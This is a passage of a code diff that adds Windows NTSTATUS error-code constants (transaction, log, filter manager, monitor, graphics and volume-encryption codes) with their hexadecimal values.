+STATUS_GENERIC_COMMAND_FAILED                                     = 0xC0150026
+STATUS_SXS_FILE_HASH_MISSING                                      = 0xC0150027
+STATUS_TRANSACTIONAL_CONFLICT                                     = 0xC0190001
+STATUS_INVALID_TRANSACTION                                        = 0xC0190002
+STATUS_TRANSACTION_NOT_ACTIVE                                     = 0xC0190003
+STATUS_TM_INITIALIZATION_FAILED                                   = 0xC0190004
+STATUS_RM_NOT_ACTIVE                                              = 0xC0190005
+STATUS_RM_METADATA_CORRUPT                                        = 0xC0190006
+STATUS_TRANSACTION_NOT_JOINED                                     = 0xC0190007
+STATUS_DIRECTORY_NOT_RM                                           = 0xC0190008
+STATUS_TRANSACTIONS_UNSUPPORTED_REMOTE                            = 0xC019000A
+STATUS_LOG_RESIZE_INVALID_SIZE                                    = 0xC019000B
+STATUS_REMOTE_FILE_VERSION_MISMATCH                               = 0xC019000C
+STATUS_CRM_PROTOCOL_ALREADY_EXISTS                                = 0xC019000F
+STATUS_TRANSACTION_PROPAGATION_FAILED                             = 0xC0190010
+STATUS_CRM_PROTOCOL_NOT_FOUND                                     = 0xC0190011
+STATUS_TRANSACTION_SUPERIOR_EXISTS                                = 0xC0190012
+STATUS_TRANSACTION_REQUEST_NOT_VALID                              = 0xC0190013
+STATUS_TRANSACTION_NOT_REQUESTED                                  = 0xC0190014
+STATUS_TRANSACTION_ALREADY_ABORTED                                = 0xC0190015
+STATUS_TRANSACTION_ALREADY_COMMITTED                              = 0xC0190016
+STATUS_TRANSACTION_INVALID_MARSHALL_BUFFER                        = 0xC0190017
+STATUS_CURRENT_TRANSACTION_NOT_VALID                              = 0xC0190018
+STATUS_LOG_GROWTH_FAILED                                          = 0xC0190019
+STATUS_OBJECT_NO_LONGER_EXISTS                                    = 0xC0190021
+STATUS_STREAM_MINIVERSION_NOT_FOUND                               = 0xC0190022
+STATUS_STREAM_MINIVERSION_NOT_VALID                               = 0xC0190023
+STATUS_MINIVERSION_INACCESSIBLE_FROM_SPECIFIED_TRANSACTION        = 0xC0190024
+STATUS_CANT_OPEN_MINIVERSION_WITH_MODIFY_INTENT                   = 0xC0190025
+STATUS_CANT_CREATE_MORE_STREAM_MINIVERSIONS                       = 0xC0190026
+STATUS_HANDLE_NO_LONGER_VALID                                     = 0xC0190028
+STATUS_LOG_CORRUPTION_DETECTED                                    = 0xC0190030
+STATUS_RM_DISCONNECTED                                            = 0xC0190032
+STATUS_ENLISTMENT_NOT_SUPERIOR                                    = 0xC0190033
+STATUS_FILE_IDENTITY_NOT_PERSISTENT                               = 0xC0190036
+STATUS_CANT_BREAK_TRANSACTIONAL_DEPENDENCY                        = 0xC0190037
+STATUS_CANT_CROSS_RM_BOUNDARY                                     = 0xC0190038
+STATUS_TXF_DIR_NOT_EMPTY                                          = 0xC0190039
+STATUS_INDOUBT_TRANSACTIONS_EXIST                                 = 0xC019003A
+STATUS_TM_VOLATILE                                                = 0xC019003B
+STATUS_ROLLBACK_TIMER_EXPIRED                                     = 0xC019003C
+STATUS_TXF_ATTRIBUTE_CORRUPT                                      = 0xC019003D
+STATUS_EFS_NOT_ALLOWED_IN_TRANSACTION                             = 0xC019003E
+STATUS_TRANSACTIONAL_OPEN_NOT_ALLOWED                             = 0xC019003F
+STATUS_TRANSACTED_MAPPING_UNSUPPORTED_REMOTE                      = 0xC0190040
+STATUS_TRANSACTION_REQUIRED_PROMOTION                             = 0xC0190043
+STATUS_CANNOT_EXECUTE_FILE_IN_TRANSACTION                         = 0xC0190044
+STATUS_TRANSACTIONS_NOT_FROZEN                                    = 0xC0190045
+STATUS_TRANSACTION_FREEZE_IN_PROGRESS                             = 0xC0190046
+STATUS_NOT_SNAPSHOT_VOLUME                                        = 0xC0190047
+STATUS_NO_SAVEPOINT_WITH_OPEN_FILES                               = 0xC0190048
+STATUS_SPARSE_NOT_ALLOWED_IN_TRANSACTION                          = 0xC0190049
+STATUS_TM_IDENTITY_MISMATCH                                       = 0xC019004A
+STATUS_FLOATED_SECTION                                            = 0xC019004B
+STATUS_CANNOT_ACCEPT_TRANSACTED_WORK                              = 0xC019004C
+STATUS_CANNOT_ABORT_TRANSACTIONS                                  = 0xC019004D
+STATUS_TRANSACTION_NOT_FOUND                                      = 0xC019004E
+STATUS_RESOURCEMANAGER_NOT_FOUND                                  = 0xC019004F
+STATUS_ENLISTMENT_NOT_FOUND                                       = 0xC0190050
+STATUS_TRANSACTIONMANAGER_NOT_FOUND                               = 0xC0190051
+STATUS_TRANSACTIONMANAGER_NOT_ONLINE                              = 0xC0190052
+STATUS_TRANSACTIONMANAGER_RECOVERY_NAME_COLLISION                 = 0xC0190053
+STATUS_TRANSACTION_NOT_ROOT                                       = 0xC0190054
+STATUS_TRANSACTION_OBJECT_EXPIRED                                 = 0xC0190055
+STATUS_COMPRESSION_NOT_ALLOWED_IN_TRANSACTION                     = 0xC0190056
+STATUS_TRANSACTION_RESPONSE_NOT_ENLISTED                          = 0xC0190057
+STATUS_TRANSACTION_RECORD_TOO_LONG                                = 0xC0190058
+STATUS_NO_LINK_TRACKING_IN_TRANSACTION                            = 0xC0190059
+STATUS_OPERATION_NOT_SUPPORTED_IN_TRANSACTION                     = 0xC019005A
+STATUS_TRANSACTION_INTEGRITY_VIOLATED                             = 0xC019005B
+STATUS_EXPIRED_HANDLE                                             = 0xC0190060
+STATUS_TRANSACTION_NOT_ENLISTED                                   = 0xC0190061
+STATUS_LOG_SECTOR_INVALID                                         = 0xC01A0001
+STATUS_LOG_SECTOR_PARITY_INVALID                                  = 0xC01A0002
+STATUS_LOG_SECTOR_REMAPPED                                        = 0xC01A0003
+STATUS_LOG_BLOCK_INCOMPLETE                                       = 0xC01A0004
+STATUS_LOG_INVALID_RANGE                                          = 0xC01A0005
+STATUS_LOG_BLOCKS_EXHAUSTED                                       = 0xC01A0006
+STATUS_LOG_READ_CONTEXT_INVALID                                   = 0xC01A0007
+STATUS_LOG_RESTART_INVALID                                        = 0xC01A0008
+STATUS_LOG_BLOCK_VERSION                                          = 0xC01A0009
+STATUS_LOG_BLOCK_INVALID                                          = 0xC01A000A
+STATUS_LOG_READ_MODE_INVALID                                      = 0xC01A000B
+STATUS_LOG_METADATA_CORRUPT                                       = 0xC01A000D
+STATUS_LOG_METADATA_INVALID                                       = 0xC01A000E
+STATUS_LOG_METADATA_INCONSISTENT                                  = 0xC01A000F
+STATUS_LOG_RESERVATION_INVALID                                    = 0xC01A0010
+STATUS_LOG_CANT_DELETE                                            = 0xC01A0011
+STATUS_LOG_CONTAINER_LIMIT_EXCEEDED                               = 0xC01A0012
+STATUS_LOG_START_OF_LOG                                           = 0xC01A0013
+STATUS_LOG_POLICY_ALREADY_INSTALLED                               = 0xC01A0014
+STATUS_LOG_POLICY_NOT_INSTALLED                                   = 0xC01A0015
+STATUS_LOG_POLICY_INVALID                                         = 0xC01A0016
+STATUS_LOG_POLICY_CONFLICT                                        = 0xC01A0017
+STATUS_LOG_PINNED_ARCHIVE_TAIL                                    = 0xC01A0018
+STATUS_LOG_RECORD_NONEXISTENT                                     = 0xC01A0019
+STATUS_LOG_RECORDS_RESERVED_INVALID                               = 0xC01A001A
+STATUS_LOG_SPACE_RESERVED_INVALID                                 = 0xC01A001B
+STATUS_LOG_TAIL_INVALID                                           = 0xC01A001C
+STATUS_LOG_FULL                                                   = 0xC01A001D
+STATUS_LOG_MULTIPLEXED                                            = 0xC01A001E
+STATUS_LOG_DEDICATED                                              = 0xC01A001F
+STATUS_LOG_ARCHIVE_NOT_IN_PROGRESS                                = 0xC01A0020
+STATUS_LOG_ARCHIVE_IN_PROGRESS                                    = 0xC01A0021
+STATUS_LOG_EPHEMERAL                                              = 0xC01A0022
+STATUS_LOG_NOT_ENOUGH_CONTAINERS                                  = 0xC01A0023
+STATUS_LOG_CLIENT_ALREADY_REGISTERED                              = 0xC01A0024
+STATUS_LOG_CLIENT_NOT_REGISTERED                                  = 0xC01A0025
+STATUS_LOG_FULL_HANDLER_IN_PROGRESS                               = 0xC01A0026
+STATUS_LOG_CONTAINER_READ_FAILED                                  = 0xC01A0027
+STATUS_LOG_CONTAINER_WRITE_FAILED                                 = 0xC01A0028
+STATUS_LOG_CONTAINER_OPEN_FAILED                                  = 0xC01A0029
+STATUS_LOG_CONTAINER_STATE_INVALID                                = 0xC01A002A
+STATUS_LOG_STATE_INVALID                                          = 0xC01A002B
+STATUS_LOG_PINNED                                                 = 0xC01A002C
+STATUS_LOG_METADATA_FLUSH_FAILED                                  = 0xC01A002D
+STATUS_LOG_INCONSISTENT_SECURITY                                  = 0xC01A002E
+STATUS_LOG_APPENDED_FLUSH_FAILED                                  = 0xC01A002F
+STATUS_LOG_PINNED_RESERVATION                                     = 0xC01A0030
+STATUS_VIDEO_HUNG_DISPLAY_DRIVER_THREAD                           = 0xC01B00EA
+STATUS_FLT_NO_HANDLER_DEFINED                                     = 0xC01C0001
+STATUS_FLT_CONTEXT_ALREADY_DEFINED                                = 0xC01C0002
+STATUS_FLT_INVALID_ASYNCHRONOUS_REQUEST                           = 0xC01C0003
+STATUS_FLT_DISALLOW_FAST_IO                                       = 0xC01C0004
+STATUS_FLT_INVALID_NAME_REQUEST                                   = 0xC01C0005
+STATUS_FLT_NOT_SAFE_TO_POST_OPERATION                             = 0xC01C0006
+STATUS_FLT_NOT_INITIALIZED                                        = 0xC01C0007
+STATUS_FLT_FILTER_NOT_READY                                       = 0xC01C0008
+STATUS_FLT_POST_OPERATION_CLEANUP                                 = 0xC01C0009
+STATUS_FLT_INTERNAL_ERROR                                         = 0xC01C000A
+STATUS_FLT_DELETING_OBJECT                                        = 0xC01C000B
+STATUS_FLT_MUST_BE_NONPAGED_POOL                                  = 0xC01C000C
+STATUS_FLT_DUPLICATE_ENTRY                                        = 0xC01C000D
+STATUS_FLT_CBDQ_DISABLED                                          = 0xC01C000E
+STATUS_FLT_DO_NOT_ATTACH                                          = 0xC01C000F
+STATUS_FLT_DO_NOT_DETACH                                          = 0xC01C0010
+STATUS_FLT_INSTANCE_ALTITUDE_COLLISION                            = 0xC01C0011
+STATUS_FLT_INSTANCE_NAME_COLLISION                                = 0xC01C0012
+STATUS_FLT_FILTER_NOT_FOUND                                       = 0xC01C0013
+STATUS_FLT_VOLUME_NOT_FOUND                                       = 0xC01C0014
+STATUS_FLT_INSTANCE_NOT_FOUND                                     = 0xC01C0015
+STATUS_FLT_CONTEXT_ALLOCATION_NOT_FOUND                           = 0xC01C0016
+STATUS_FLT_INVALID_CONTEXT_REGISTRATION                           = 0xC01C0017
+STATUS_FLT_NAME_CACHE_MISS                                        = 0xC01C0018
+STATUS_FLT_NO_DEVICE_OBJECT                                       = 0xC01C0019
+STATUS_FLT_VOLUME_ALREADY_MOUNTED                                 = 0xC01C001A
+STATUS_FLT_ALREADY_ENLISTED                                       = 0xC01C001B
+STATUS_FLT_CONTEXT_ALREADY_LINKED                                 = 0xC01C001C
+STATUS_FLT_NO_WAITER_FOR_REPLY                                    = 0xC01C0020
+STATUS_MONITOR_NO_DESCRIPTOR                                      = 0xC01D0001
+STATUS_MONITOR_UNKNOWN_DESCRIPTOR_FORMAT                          = 0xC01D0002
+STATUS_MONITOR_INVALID_DESCRIPTOR_CHECKSUM                        = 0xC01D0003
+STATUS_MONITOR_INVALID_STANDARD_TIMING_BLOCK                      = 0xC01D0004
+STATUS_MONITOR_WMI_DATABLOCK_REGISTRATION_FAILED                  = 0xC01D0005
+STATUS_MONITOR_INVALID_SERIAL_NUMBER_MONDSC_BLOCK                 = 0xC01D0006
+STATUS_MONITOR_INVALID_USER_FRIENDLY_MONDSC_BLOCK                 = 0xC01D0007
+STATUS_MONITOR_NO_MORE_DESCRIPTOR_DATA                            = 0xC01D0008
+STATUS_MONITOR_INVALID_DETAILED_TIMING_BLOCK                      = 0xC01D0009
+STATUS_MONITOR_INVALID_MANUFACTURE_DATE                           = 0xC01D000A
+STATUS_GRAPHICS_NOT_EXCLUSIVE_MODE_OWNER                          = 0xC01E0000
+STATUS_GRAPHICS_INSUFFICIENT_DMA_BUFFER                           = 0xC01E0001
+STATUS_GRAPHICS_INVALID_DISPLAY_ADAPTER                           = 0xC01E0002
+STATUS_GRAPHICS_ADAPTER_WAS_RESET                                 = 0xC01E0003
+STATUS_GRAPHICS_INVALID_DRIVER_MODEL                              = 0xC01E0004
+STATUS_GRAPHICS_PRESENT_MODE_CHANGED                              = 0xC01E0005
+STATUS_GRAPHICS_PRESENT_OCCLUDED                                  = 0xC01E0006
+STATUS_GRAPHICS_PRESENT_DENIED                                    = 0xC01E0007
+STATUS_GRAPHICS_CANNOTCOLORCONVERT                                = 0xC01E0008
+STATUS_GRAPHICS_PRESENT_REDIRECTION_DISABLED                      = 0xC01E000B
+STATUS_GRAPHICS_PRESENT_UNOCCLUDED                                = 0xC01E000C
+STATUS_GRAPHICS_NO_VIDEO_MEMORY                                   = 0xC01E0100
+STATUS_GRAPHICS_CANT_LOCK_MEMORY                                  = 0xC01E0101
+STATUS_GRAPHICS_ALLOCATION_BUSY                                   = 0xC01E0102
+STATUS_GRAPHICS_TOO_MANY_REFERENCES                               = 0xC01E0103
+STATUS_GRAPHICS_TRY_AGAIN_LATER                                   = 0xC01E0104
+STATUS_GRAPHICS_TRY_AGAIN_NOW                                     = 0xC01E0105
+STATUS_GRAPHICS_ALLOCATION_INVALID                                = 0xC01E0106
+STATUS_GRAPHICS_UNSWIZZLING_APERTURE_UNAVAILABLE                  = 0xC01E0107
+STATUS_GRAPHICS_UNSWIZZLING_APERTURE_UNSUPPORTED                  = 0xC01E0108
+STATUS_GRAPHICS_CANT_EVICT_PINNED_ALLOCATION                      = 0xC01E0109
+STATUS_GRAPHICS_INVALID_ALLOCATION_USAGE                          = 0xC01E0110
+STATUS_GRAPHICS_CANT_RENDER_LOCKED_ALLOCATION                     = 0xC01E0111
+STATUS_GRAPHICS_ALLOCATION_CLOSED                                 = 0xC01E0112
+STATUS_GRAPHICS_INVALID_ALLOCATION_INSTANCE                       = 0xC01E0113
+STATUS_GRAPHICS_INVALID_ALLOCATION_HANDLE                         = 0xC01E0114
+STATUS_GRAPHICS_WRONG_ALLOCATION_DEVICE                           = 0xC01E0115
+STATUS_GRAPHICS_ALLOCATION_CONTENT_LOST                           = 0xC01E0116
+STATUS_GRAPHICS_GPU_EXCEPTION_ON_DEVICE                           = 0xC01E0200
+STATUS_GRAPHICS_INVALID_VIDPN_TOPOLOGY                            = 0xC01E0300
+STATUS_GRAPHICS_VIDPN_TOPOLOGY_NOT_SUPPORTED                      = 0xC01E0301
+STATUS_GRAPHICS_VIDPN_TOPOLOGY_CURRENTLY_NOT_SUPPORTED            = 0xC01E0302
+STATUS_GRAPHICS_INVALID_VIDPN                                     = 0xC01E0303
+STATUS_GRAPHICS_INVALID_VIDEO_PRESENT_SOURCE                      = 0xC01E0304
+STATUS_GRAPHICS_INVALID_VIDEO_PRESENT_TARGET                      = 0xC01E0305
+STATUS_GRAPHICS_VIDPN_MODALITY_NOT_SUPPORTED                      = 0xC01E0306
+STATUS_GRAPHICS_INVALID_VIDPN_SOURCEMODESET                       = 0xC01E0308
+STATUS_GRAPHICS_INVALID_VIDPN_TARGETMODESET                       = 0xC01E0309
+STATUS_GRAPHICS_INVALID_FREQUENCY                                 = 0xC01E030A
+STATUS_GRAPHICS_INVALID_ACTIVE_REGION                             = 0xC01E030B
+STATUS_GRAPHICS_INVALID_TOTAL_REGION                              = 0xC01E030C
+STATUS_GRAPHICS_INVALID_VIDEO_PRESENT_SOURCE_MODE                 = 0xC01E0310
+STATUS_GRAPHICS_INVALID_VIDEO_PRESENT_TARGET_MODE                 = 0xC01E0311
+STATUS_GRAPHICS_PINNED_MODE_MUST_REMAIN_IN_SET                    = 0xC01E0312
+STATUS_GRAPHICS_PATH_ALREADY_IN_TOPOLOGY                          = 0xC01E0313
+STATUS_GRAPHICS_MODE_ALREADY_IN_MODESET                           = 0xC01E0314
+STATUS_GRAPHICS_INVALID_VIDEOPRESENTSOURCESET                     = 0xC01E0315
+STATUS_GRAPHICS_INVALID_VIDEOPRESENTTARGETSET                     = 0xC01E0316
+STATUS_GRAPHICS_SOURCE_ALREADY_IN_SET                             = 0xC01E0317
+STATUS_GRAPHICS_TARGET_ALREADY_IN_SET                             = 0xC01E0318
+STATUS_GRAPHICS_INVALID_VIDPN_PRESENT_PATH                        = 0xC01E0319
+STATUS_GRAPHICS_NO_RECOMMENDED_VIDPN_TOPOLOGY                     = 0xC01E031A
+STATUS_GRAPHICS_INVALID_MONITOR_FREQUENCYRANGESET                 = 0xC01E031B
+STATUS_GRAPHICS_INVALID_MONITOR_FREQUENCYRANGE                    = 0xC01E031C
+STATUS_GRAPHICS_FREQUENCYRANGE_NOT_IN_SET                         = 0xC01E031D
+STATUS_GRAPHICS_FREQUENCYRANGE_ALREADY_IN_SET                     = 0xC01E031F
+STATUS_GRAPHICS_STALE_MODESET                                     = 0xC01E0320
+STATUS_GRAPHICS_INVALID_MONITOR_SOURCEMODESET                     = 0xC01E0321
+STATUS_GRAPHICS_INVALID_MONITOR_SOURCE_MODE                       = 0xC01E0322
+STATUS_GRAPHICS_NO_RECOMMENDED_FUNCTIONAL_VIDPN                   = 0xC01E0323
+STATUS_GRAPHICS_MODE_ID_MUST_BE_UNIQUE                            = 0xC01E0324
+STATUS_GRAPHICS_EMPTY_ADAPTER_MONITOR_MODE_SUPPORT_INTERSECTION   = 0xC01E0325
+STATUS_GRAPHICS_VIDEO_PRESENT_TARGETS_LESS_THAN_SOURCES           = 0xC01E0326
+STATUS_GRAPHICS_PATH_NOT_IN_TOPOLOGY                              = 0xC01E0327
+STATUS_GRAPHICS_ADAPTER_MUST_HAVE_AT_LEAST_ONE_SOURCE             = 0xC01E0328
+STATUS_GRAPHICS_ADAPTER_MUST_HAVE_AT_LEAST_ONE_TARGET             = 0xC01E0329
+STATUS_GRAPHICS_INVALID_MONITORDESCRIPTORSET                      = 0xC01E032A
+STATUS_GRAPHICS_INVALID_MONITORDESCRIPTOR                         = 0xC01E032B
+STATUS_GRAPHICS_MONITORDESCRIPTOR_NOT_IN_SET                      = 0xC01E032C
+STATUS_GRAPHICS_MONITORDESCRIPTOR_ALREADY_IN_SET                  = 0xC01E032D
+STATUS_GRAPHICS_MONITORDESCRIPTOR_ID_MUST_BE_UNIQUE               = 0xC01E032E
+STATUS_GRAPHICS_INVALID_VIDPN_TARGET_SUBSET_TYPE                  = 0xC01E032F
+STATUS_GRAPHICS_RESOURCES_NOT_RELATED                             = 0xC01E0330
+STATUS_GRAPHICS_SOURCE_ID_MUST_BE_UNIQUE                          = 0xC01E0331
+STATUS_GRAPHICS_TARGET_ID_MUST_BE_UNIQUE                          = 0xC01E0332
+STATUS_GRAPHICS_NO_AVAILABLE_VIDPN_TARGET                         = 0xC01E0333
+STATUS_GRAPHICS_MONITOR_COULD_NOT_BE_ASSOCIATED_WITH_ADAPTER      = 0xC01E0334
+STATUS_GRAPHICS_NO_VIDPNMGR                                       = 0xC01E0335
+STATUS_GRAPHICS_NO_ACTIVE_VIDPN                                   = 0xC01E0336
+STATUS_GRAPHICS_STALE_VIDPN_TOPOLOGY                              = 0xC01E0337
+STATUS_GRAPHICS_MONITOR_NOT_CONNECTED                             = 0xC01E0338
+STATUS_GRAPHICS_SOURCE_NOT_IN_TOPOLOGY                            = 0xC01E0339
+STATUS_GRAPHICS_INVALID_PRIMARYSURFACE_SIZE                       = 0xC01E033A
+STATUS_GRAPHICS_INVALID_VISIBLEREGION_SIZE                        = 0xC01E033B
+STATUS_GRAPHICS_INVALID_STRIDE                                    = 0xC01E033C
+STATUS_GRAPHICS_INVALID_PIXELFORMAT                               = 0xC01E033D
+STATUS_GRAPHICS_INVALID_COLORBASIS                                = 0xC01E033E
+STATUS_GRAPHICS_INVALID_PIXELVALUEACCESSMODE                      = 0xC01E033F
+STATUS_GRAPHICS_TARGET_NOT_IN_TOPOLOGY                            = 0xC01E0340
+STATUS_GRAPHICS_NO_DISPLAY_MODE_MANAGEMENT_SUPPORT                = 0xC01E0341
+STATUS_GRAPHICS_VIDPN_SOURCE_IN_USE                               = 0xC01E0342
+STATUS_GRAPHICS_CANT_ACCESS_ACTIVE_VIDPN                          = 0xC01E0343
+STATUS_GRAPHICS_INVALID_PATH_IMPORTANCE_ORDINAL                   = 0xC01E0344
+STATUS_GRAPHICS_INVALID_PATH_CONTENT_GEOMETRY_TRANSFORMATION      = 0xC01E0345
+STATUS_GRAPHICS_PATH_CONTENT_GEOMETRY_TRANSFORMATION_NOT_SUPPORTED = 0xC01E0346
+STATUS_GRAPHICS_INVALID_GAMMA_RAMP                                = 0xC01E0347
+STATUS_GRAPHICS_GAMMA_RAMP_NOT_SUPPORTED                          = 0xC01E0348
+STATUS_GRAPHICS_MULTISAMPLING_NOT_SUPPORTED                       = 0xC01E0349
+STATUS_GRAPHICS_MODE_NOT_IN_MODESET                               = 0xC01E034A
+STATUS_GRAPHICS_INVALID_VIDPN_TOPOLOGY_RECOMMENDATION_REASON      = 0xC01E034D
+STATUS_GRAPHICS_INVALID_PATH_CONTENT_TYPE                         = 0xC01E034E
+STATUS_GRAPHICS_INVALID_COPYPROTECTION_TYPE                       = 0xC01E034F
+STATUS_GRAPHICS_UNASSIGNED_MODESET_ALREADY_EXISTS                 = 0xC01E0350
+STATUS_GRAPHICS_INVALID_SCANLINE_ORDERING                         = 0xC01E0352
+STATUS_GRAPHICS_TOPOLOGY_CHANGES_NOT_ALLOWED                      = 0xC01E0353
+STATUS_GRAPHICS_NO_AVAILABLE_IMPORTANCE_ORDINALS                  = 0xC01E0354
+STATUS_GRAPHICS_INCOMPATIBLE_PRIVATE_FORMAT                       = 0xC01E0355
+STATUS_GRAPHICS_INVALID_MODE_PRUNING_ALGORITHM                    = 0xC01E0356
+STATUS_GRAPHICS_INVALID_MONITOR_CAPABILITY_ORIGIN                 = 0xC01E0357
+STATUS_GRAPHICS_INVALID_MONITOR_FREQUENCYRANGE_CONSTRAINT         = 0xC01E0358
+STATUS_GRAPHICS_MAX_NUM_PATHS_REACHED                             = 0xC01E0359
+STATUS_GRAPHICS_CANCEL_VIDPN_TOPOLOGY_AUGMENTATION                = 0xC01E035A
+STATUS_GRAPHICS_INVALID_CLIENT_TYPE                               = 0xC01E035B
+STATUS_GRAPHICS_CLIENTVIDPN_NOT_SET                               = 0xC01E035C
+STATUS_GRAPHICS_SPECIFIED_CHILD_ALREADY_CONNECTED                 = 0xC01E0400
+STATUS_GRAPHICS_CHILD_DESCRIPTOR_NOT_SUPPORTED                    = 0xC01E0401
+STATUS_GRAPHICS_NOT_A_LINKED_ADAPTER                              = 0xC01E0430
+STATUS_GRAPHICS_LEADLINK_NOT_ENUMERATED                           = 0xC01E0431
+STATUS_GRAPHICS_CHAINLINKS_NOT_ENUMERATED                         = 0xC01E0432
+STATUS_GRAPHICS_ADAPTER_CHAIN_NOT_READY                           = 0xC01E0433
+STATUS_GRAPHICS_CHAINLINKS_NOT_STARTED                            = 0xC01E0434
+STATUS_GRAPHICS_CHAINLINKS_NOT_POWERED_ON                         = 0xC01E0435
+STATUS_GRAPHICS_INCONSISTENT_DEVICE_LINK_STATE                    = 0xC01E0436
+STATUS_GRAPHICS_NOT_POST_DEVICE_DRIVER                            = 0xC01E0438
+STATUS_GRAPHICS_ADAPTER_ACCESS_NOT_EXCLUDED                       = 0xC01E043B
+STATUS_GRAPHICS_OPM_NOT_SUPPORTED                                 = 0xC01E0500
+STATUS_GRAPHICS_COPP_NOT_SUPPORTED                                = 0xC01E0501
+STATUS_GRAPHICS_UAB_NOT_SUPPORTED                                 = 0xC01E0502
+STATUS_GRAPHICS_OPM_INVALID_ENCRYPTED_PARAMETERS                  = 0xC01E0503
+STATUS_GRAPHICS_OPM_PARAMETER_ARRAY_TOO_SMALL                     = 0xC01E0504
+STATUS_GRAPHICS_OPM_NO_PROTECTED_OUTPUTS_EXIST                    = 0xC01E0505
+STATUS_GRAPHICS_PVP_NO_DISPLAY_DEVICE_CORRESPONDS_TO_NAME         = 0xC01E0506
+STATUS_GRAPHICS_PVP_DISPLAY_DEVICE_NOT_ATTACHED_TO_DESKTOP        = 0xC01E0507
+STATUS_GRAPHICS_PVP_MIRRORING_DEVICES_NOT_SUPPORTED               = 0xC01E0508
+STATUS_GRAPHICS_OPM_INVALID_POINTER                               = 0xC01E050A
+STATUS_GRAPHICS_OPM_INTERNAL_ERROR                                = 0xC01E050B
+STATUS_GRAPHICS_OPM_INVALID_HANDLE                                = 0xC01E050C
+STATUS_GRAPHICS_PVP_NO_MONITORS_CORRESPOND_TO_DISPLAY_DEVICE      = 0xC01E050D
+STATUS_GRAPHICS_PVP_INVALID_CERTIFICATE_LENGTH                    = 0xC01E050E
+STATUS_GRAPHICS_OPM_SPANNING_MODE_ENABLED                         = 0xC01E050F
+STATUS_GRAPHICS_OPM_THEATER_MODE_ENABLED                          = 0xC01E0510
+STATUS_GRAPHICS_PVP_HFS_FAILED                                    = 0xC01E0511
+STATUS_GRAPHICS_OPM_INVALID_SRM                                   = 0xC01E0512
+STATUS_GRAPHICS_OPM_OUTPUT_DOES_NOT_SUPPORT_HDCP                  = 0xC01E0513
+STATUS_GRAPHICS_OPM_OUTPUT_DOES_NOT_SUPPORT_ACP                   = 0xC01E0514
+STATUS_GRAPHICS_OPM_OUTPUT_DOES_NOT_SUPPORT_CGMSA                 = 0xC01E0515
+STATUS_GRAPHICS_OPM_HDCP_SRM_NEVER_SET                            = 0xC01E0516
+STATUS_GRAPHICS_OPM_RESOLUTION_TOO_HIGH                           = 0xC01E0517
+STATUS_GRAPHICS_OPM_ALL_HDCP_HARDWARE_ALREADY_IN_USE              = 0xC01E0518
+STATUS_GRAPHICS_OPM_PROTECTED_OUTPUT_NO_LONGER_EXISTS             = 0xC01E051A
+STATUS_GRAPHICS_OPM_SESSION_TYPE_CHANGE_IN_PROGRESS               = 0xC01E051B
+STATUS_GRAPHICS_OPM_PROTECTED_OUTPUT_DOES_NOT_HAVE_COPP_SEMANTICS = 0xC01E051C
+STATUS_GRAPHICS_OPM_INVALID_INFORMATION_REQUEST                   = 0xC01E051D
+STATUS_GRAPHICS_OPM_DRIVER_INTERNAL_ERROR                         = 0xC01E051E
+STATUS_GRAPHICS_OPM_PROTECTED_OUTPUT_DOES_NOT_HAVE_OPM_SEMANTICS  = 0xC01E051F
+STATUS_GRAPHICS_OPM_SIGNALING_NOT_SUPPORTED                       = 0xC01E0520
+STATUS_GRAPHICS_OPM_INVALID_CONFIGURATION_REQUEST                 = 0xC01E0521
+STATUS_GRAPHICS_I2C_NOT_SUPPORTED                                 = 0xC01E0580
+STATUS_GRAPHICS_I2C_DEVICE_DOES_NOT_EXIST                         = 0xC01E0581
+STATUS_GRAPHICS_I2C_ERROR_TRANSMITTING_DATA                       = 0xC01E0582
+STATUS_GRAPHICS_I2C_ERROR_RECEIVING_DATA                          = 0xC01E0583
+STATUS_GRAPHICS_DDCCI_VCP_NOT_SUPPORTED                           = 0xC01E0584
+STATUS_GRAPHICS_DDCCI_INVALID_DATA                                = 0xC01E0585
+STATUS_GRAPHICS_DDCCI_MONITOR_RETURNED_INVALID_TIMING_STATUS_BYTE = 0xC01E0586
+STATUS_GRAPHICS_DDCCI_INVALID_CAPABILITIES_STRING                 = 0xC01E0587
+STATUS_GRAPHICS_MCA_INTERNAL_ERROR                                = 0xC01E0588
+STATUS_GRAPHICS_DDCCI_INVALID_MESSAGE_COMMAND                     = 0xC01E0589
+STATUS_GRAPHICS_DDCCI_INVALID_MESSAGE_LENGTH                      = 0xC01E058A
+STATUS_GRAPHICS_DDCCI_INVALID_MESSAGE_CHECKSUM                    = 0xC01E058B
+STATUS_GRAPHICS_INVALID_PHYSICAL_MONITOR_HANDLE                   = 0xC01E058C
+STATUS_GRAPHICS_MONITOR_NO_LONGER_EXISTS                          = 0xC01E058D
+STATUS_GRAPHICS_ONLY_CONSOLE_SESSION_SUPPORTED                    = 0xC01E05E0
+STATUS_GRAPHICS_NO_DISPLAY_DEVICE_CORRESPONDS_TO_NAME             = 0xC01E05E1
+STATUS_GRAPHICS_DISPLAY_DEVICE_NOT_ATTACHED_TO_DESKTOP            = 0xC01E05E2
+STATUS_GRAPHICS_MIRRORING_DEVICES_NOT_SUPPORTED                   = 0xC01E05E3
+STATUS_GRAPHICS_INVALID_POINTER                                   = 0xC01E05E4
+STATUS_GRAPHICS_NO_MONITORS_CORRESPOND_TO_DISPLAY_DEVICE          = 0xC01E05E5
+STATUS_GRAPHICS_PARAMETER_ARRAY_TOO_SMALL                         = 0xC01E05E6
+STATUS_GRAPHICS_INTERNAL_ERROR                                    = 0xC01E05E7
+STATUS_GRAPHICS_SESSION_TYPE_CHANGE_IN_PROGRESS                   = 0xC01E05E8
+STATUS_FVE_LOCKED_VOLUME                                          = 0xC0210000
+STATUS_FVE_NOT_ENCRYPTED                                          = 0xC0210001
+STATUS_FVE_BAD_INFORMATION                                        = 0xC0210002
+STATUS_FVE_TOO_SMALL                                              = 0xC0210003
+STATUS_FVE_FAILED_WRONG_FS                                        = 0xC0210004
+STATUS_FVE_FAILED_BAD_FS                                          = 0xC0210005
+STATUS_FVE_FS_NOT_EXTENDED                                        = 0xC0210006
+STATUS_FVE_FS_MOUNTED                                             = 0xC0210007
+STATUS_FVE_NO_LICENSE                                             = 0xC0210008
+STATUS_FVE_ACTION_NOT_ALLOWED                                     = 0xC0210009
+STATUS_FVE_BAD_DATA                                               = 0xC021000A
+STATUS_FVE_VOLUME_NOT_BOUND                                       = 0xC021000B
+STATUS_FVE_NOT_DATA_VOLUME                                        = 0xC021000C
+STATUS_FVE_CONV_READ_ERROR                                        = 0xC021000D
+STATUS_FVE_CONV_WRITE_ERROR                                       = 0xC021000E
